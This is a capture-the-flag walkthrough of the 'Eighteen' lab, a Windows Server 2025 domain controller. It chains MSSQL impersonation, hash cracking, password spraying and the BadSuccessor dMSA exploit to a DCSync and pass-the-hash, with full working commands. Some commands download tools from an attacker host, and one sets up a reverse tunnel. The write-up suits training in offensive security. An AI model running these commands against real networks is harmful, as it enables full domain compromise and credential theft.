Eighteen

Summary

Eighteen is a Windows Server 2025 domain controller running IIS, MSSQL, and WinRM. We start with provided credentials for a low-privilege SQL login and work through MSSQL impersonation to reach a custom financial_planner database, where we pull a PBKDF2-SHA256 hash for the web app’s admin account. After converting it to hashcat’s mode 10900 format and cracking it, we log into the web app and find a second set of credentials embedded in the application source. RID brute-forcing via MSSQL produces a full domain user list, and spraying both recovered passwords against WinRM lands a shell as adam.scott. BloodHound and PowerView then reveal that the IT group - which adam.scott belongs to - holds CreateChild rights on the Staff OU. On Windows Server 2025, that single permission is enough to exploit BadSuccessor, a vulnerability in the new dMSA feature. We create a malicious dMSA linked to the domain Administrator, tunnel back to the attack box with ligolo-ng, and use an updated impacket build to request Kerberos tickets carrying Administrator privileges. A DCSync via secretsdump recovers the hash, and pass-the-hash closes it out.


Recon

Nmap TCP

A full TCP scan against 10.10.11.95 returns three ports. The MSSQL NSE scripts are unusually chatty here - the NTLM negotiation probe leaks the machine’s full identity without us having to ask for it separately.

nmap -T4 -p- -A -Pn -v eighteen.htb
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-title: Welcome - eighteen.htb
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
|   Target_Name: EIGHTEEN
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: eighteen.htb
|   DNS_Computer_Name: DC01.eighteen.htb
|_  Product_Version: 10.0.26100
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Three services: IIS on 80, SQL Server 2022 on 1433, and WinRM on 5985. The NTLM probe confirms this is DC01.eighteen.htb - we’re pointed directly at a domain controller. The product version 10.0.26100 maps to Windows Server 2025, which will matter later on.

Web Enumeration

The IIS site is a Flask-based finance application - “Flask Financial Planner v1.0”. It has a login page and a registration form, which means we can create an account and poke around from the inside. The provided kevin credentials don’t work here.

After registering and logging in, the /dashboard exposes several active POST endpoints: /update_income, /add_expense, /update_allocation, and /delete_expense/<id>. There’s also an /admin page that returns a 403. A directory scan and subdomain fuzz run in parallel while we explore manually:

gobuster dir -u http://eighteen.htb -w /usr/share/wordlists/dirb/common.txt -x txt,php,html -t 10
ffuf -c -u "http://eighteen.htb" -H "Host: FUZZ.eighteen.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -fs 143

Neither returns anything useful - no subdomains, no hidden paths beyond what’s already visible. Injecting a single quote into the dashboard’s numeric input fields produces a 500 error, which is interesting, but commiting to this before checking MSSQL is a mistake.

MSSQL Enumeration

With kevin’s credentials confirmed, the first thing to understand is the scope of what this SQL login can actually do.

nxc mssql $IP -u 'kevin' -p 'iNa2we6haRj2gaw!' --local-auth
MSSQL  10.10.11.95  1433  DC01  [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL  10.10.11.95  1433  DC01  [+] DC01\kevin:iNa2we6haRj2gaw!

Authentication works. Command execution via xp_cmdshell is off the table - kevin holds no elevated server roles. What he does have is impersonation rights:

nxc mssql $IP -u 'kevin' -p 'iNa2we6haRj2gaw!' --local-auth -M mssql_priv
MSSQL_PRIV  10.10.11.95  1433  DC01  [*] kevin can impersonate: appdev

kevin can execute as appdev. This EXECUTE AS LOGIN grant was presumably configured to let kevin run maintenance queries against the application database, but it hands us everything appdev can read. Connecting interactively:

mssqlclient.py kevin:'iNa2we6haRj2gaw!'@eighteen.htb

Switching context and listing databases:

exec_as_login appdev

SELECT name FROM master.dbo.sysdatabases
master
tempdb
model
msdb
financial_planner

The financial_planner database is the application backend - as kevin we couldn’t touch it, but appdev can:

USE financial_planner

SELECT * FROM users;
id    username  email               password_hash                                                      is_admin
----  --------  ------------------  -----------------------------------------------------------------  --------
1002  admin     admin@eighteen.htb  pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336...  1

One entry - the admin account - with a PBKDF2-HMAC-SHA256 hash in Werkzeug’s native format.

Shell as adam.scott

Converting and Cracking the Hash

hashcat mode 10900 handles PBKDF2-HMAC-SHA256 but expects the salt and hash in base64, not the raw ASCII/hex layout Werkzeug uses. The conversion trips people up the first time: the salt (AMtzteQIG7yAbZIa) is plain ASCII and base64-encodes directly, but the hash portion is hex-encoded raw bytes and needs a hex-to-binary step first before base64 encoding.

To verify the logic before committing to a long crack run, it’s worth testing against a known hash - register a test account with a known password, pull its hash from the database, convert it, and confirm hashcat recovers the plaintext correctly. Once that works, apply the same steps to the admin hash:

base64hash=$(echo -n '0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133' | xxd -r -p | base64)
base64salt=$(echo -n 'AMtzteQIG7yAbZIa' | base64)
echo "sha256:600000:$base64salt:$base64hash" > adminhash
hashcat -m 10900 adminhash rockyou.txt.gz
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:[REDACTED]

Status: Cracked
Speed.#01: 4650 H/s

Credentials in the App Source

The cracked password gets us into the web app as admin, where the /admin dashboard confirms the backend is “MSSQL (dc01.eighteen.htb)” - consistent with what nmap already told us. Once we have a shell on the box, inspecting the application source reveals something more useful:

type C:\inetpub\eighteen.htb\app.py

The Python source contains a hardcoded database connection string with credentials for appdev: MissThisElite$90. Adding this to our password list and spraying it against domain users via WinRM doesn’t land anything - this password appears to be scoped to the SQL service account and doesn’t translate to any interactive domain login.

RID Brute-Force and Password Spray

MSSQL’s authenticated connection to the DC gives us another avenue: RID brute-forcing to enumerate domain accounts.

nxc mssql DC01.eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute | tee users
MSSQL  10.10.11.95  1433  DC01  1603: EIGHTEEN\HR
MSSQL  10.10.11.95  1433  DC01  1604: EIGHTEEN\IT
MSSQL  10.10.11.95  1433  DC01  1605: EIGHTEEN\Finance
MSSQL  10.10.11.95  1433  DC01  1606: EIGHTEEN\jamie.dunn
MSSQL  10.10.11.95  1433  DC01  1607: EIGHTEEN\jane.smith
MSSQL  10.10.11.95  1433  DC01  1608: EIGHTEEN\alice.jones
MSSQL  10.10.11.95  1433  DC01  1609: EIGHTEEN\adam.scott
MSSQL  10.10.11.95  1433  DC01  1610: EIGHTEEN\bob.brown
MSSQL  10.10.11.95  1433  DC01  1611: EIGHTEEN\carol.white
MSSQL  10.10.11.95  1433  DC01  1612: EIGHTEEN\dave.green

Seven user accounts across HR, IT, and Finance. Strip the domain prefix and spray the cracked password against WinRM:

cut -d '\' -f 2 users > userlist

nxc winrm 10.10.11.95 -u userlist -p '[REDACTED]' --continue-on-success
WINRM  10.10.11.95  5985  DC01  [-] eighteen.htb\jamie.dunn:[REDACTED]
WINRM  10.10.11.95  5985  DC01  [-] eighteen.htb\jane.smith:[REDACTED]
WINRM  10.10.11.95  5985  DC01  [-] eighteen.htb\alice.jones:[REDACTED]
WINRM  10.10.11.95  5985  DC01  [+] eighteen.htb\adam.scott:[REDACTED] (Pwn3d!)

adam.scott reuses the password.

Shell via WinRM

evil-winrm -i 10.10.11.95 -u adam.scott -p '[REDACTED]'
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> type user.txt
[REDACTED]

Shell as Administrator

AD Enumeration with BloodHound and PowerView

Before reaching for any exploits, a BloodHound collection to map the AD landscape.

certutil -urlcache -f http://10.10.14.21:8000/SharpHound.ps1 SharpHound.ps1
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -domain eighteen.htb -OutputDirectory C:\Windows\Temp\ -ZipFilename eighteen.zip
download C:\\Windows\\Temp\\20251115193610_eighteen.zip

After ingesting into BloodHound, the key findings: only one computer exists in the domain (DC01.eighteen.htb), the IT group holds CanPSRemote rights on it (explaining why adam.scott and bob.brown get WinRM access), and IT, HR, and Finance are all children of the Staff OU.

PowerView shows the ACL detail BloodHound misses:

certutil -urlcache -f http://10.10.14.21:8000/PowerView.ps1 PowerView.ps1
Import-Module .\PowerView.ps1

Invoke-ACLScanner -ResolveGUIDs
ObjectDN              : OU=Staff,DC=eighteen,DC=htb
AceQualifier          : AccessAllowed
ActiveDirectoryRights : CreateChild
ObjectAceType         : None
IdentityReferenceName : IT
IdentityReferenceDN   : CN=IT,OU=Staff,DC=eighteen,DC=htb

The IT group - and therefore adam.scott - has CreateChild rights on the Staff OU. Get-NetComputer confirms we’re on Windows Server 2025 Datacenter, build 26100. Those two facts together are the preconditions for BadSuccessor.

Understanding BadSuccessor

Windows Server 2025 introduced Delegated Managed Service Accounts (dMSA) as a modernized replacement for traditional service accounts, with a migration feature that lets a dMSA “succeed” an existing account and inherit its identity. The mechanism is the msDS-ManagedAccountPrecededByLink attribute - when set on a dMSA and pointing at another AD account, the DC automatically grants the dMSA access to that account’s Kerberos keys at ticket-request time, treating the migration as complete.

The flaw is that any user with CreateChild rights on an OU can create a dMSA and manually set that attribute to point at any account in the domain, including privileged ones like Administrator. The DC has no way to distinguish a legitimate migration from a malicious one - it simply honors the attribute. Akamai Security Research published this as BadSuccessor. The attack surface is broad because CreateChild on any OU is the only prerequisite - there’s no requirement to own the target account or hold any specific service role.

Creating the Malicious dMSA

We use BadSuccessor.ps1 to create the rogue object. The path comes directly from the ObjectDN field in the PowerView output:

certutil -urlcache -f http://10.10.14.21:8000/BadSuccessor.ps1 BadSuccessor.ps1
Import-Module .\BadSuccessor.ps1

BadSuccessor -mode exploit -Path "OU=Staff,DC=eighteen,DC=htb" -Name "bad_DMSA" -DelegatedAdmin "adam.scott" -DelegateTarget "Administrator" -domain "eighteen.htb"

This creates bad_DMSA$ in the Staff OU with adam.scott as its delegated admin and msDS-ManagedAccountPrecededByLink pointing at Administrator.

Tunneling with Ligolo-ng

ligolo-ng creates a transparent TUN interface on the attack host, routing traffic directly into the target’s network without proxychains wrapping. Set up the proxy side:

sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ./proxy -selfcert

Transfer the agent to the target and connect back:

certutil -urlcache -f http://10.10.14.21:8000/agent.exe agent.exe
.\agent.exe -connect 10.10.14.21:11601 -ignore-cert

In the ligolo-ng proxy shell, select the session and start the tunnel. Then add the magic routing entry on the attack host:

sudo ip route add 240.0.0.1/32 dev ligolo

Traffic directed at 240.0.0.1 now transits through the tunnel to DC01. All Kerberos and LDAP calls go through this address.

Fixing Clock Skew

Kerberos rejects authentication when the client clock differs from the KDC by more than five minutes. If getST.py throws KRB_AP_ERR_SKEW, sync the clock with ntpdate before retrying:

sudo ntpdate 240.0.0.1

Requesting Kerberos Tickets

Make sure impacket is on a release that includes dMSA support in getST.py - the standard package version predates this feature.

First, get a regular TGT for adam.scott to use as the authentication base:

getTGT.py 'eighteen.htb/adam.scott:[REDACTED]' -dc-ip 240.0.0.1
export KRB5CCNAME=adam.scott.ccache

Now request a ticket impersonating bad_DMSA$. The -dmsa flag tells getST.py to perform the dMSA-specific PAC merging that folds the linked account’s privileges into the resulting ticket:

getST.py eighteen.htb/adam.scott -dc-ip 240.0.0.1 -impersonate 'bad_DMSA$' -self -dmsa -k -no-pass

Export the ccache:

export KRB5CCNAME=bad_DMSA\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache

Dumping the Administrator Hash

With a ticket carrying Administrator-level privileges, secretsdump can perform a DCSync. The -target-ip flag routes the connection through the tunnel rather than relying on DNS:

secretsdump.py -k -no-pass dc01.eighteen.htb -just-dc-user Administrator -dc-ip 240.0.0.1 -target-ip 240.0.0.1
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSR method. Extracting hashes from NTDS.dit via DCSync
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::

Pass-the-Hash as Administrator

evil-winrm -i 10.10.11.95 -u Administrator -H [REDACTED]
Evil-WinRM shell v3.9

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]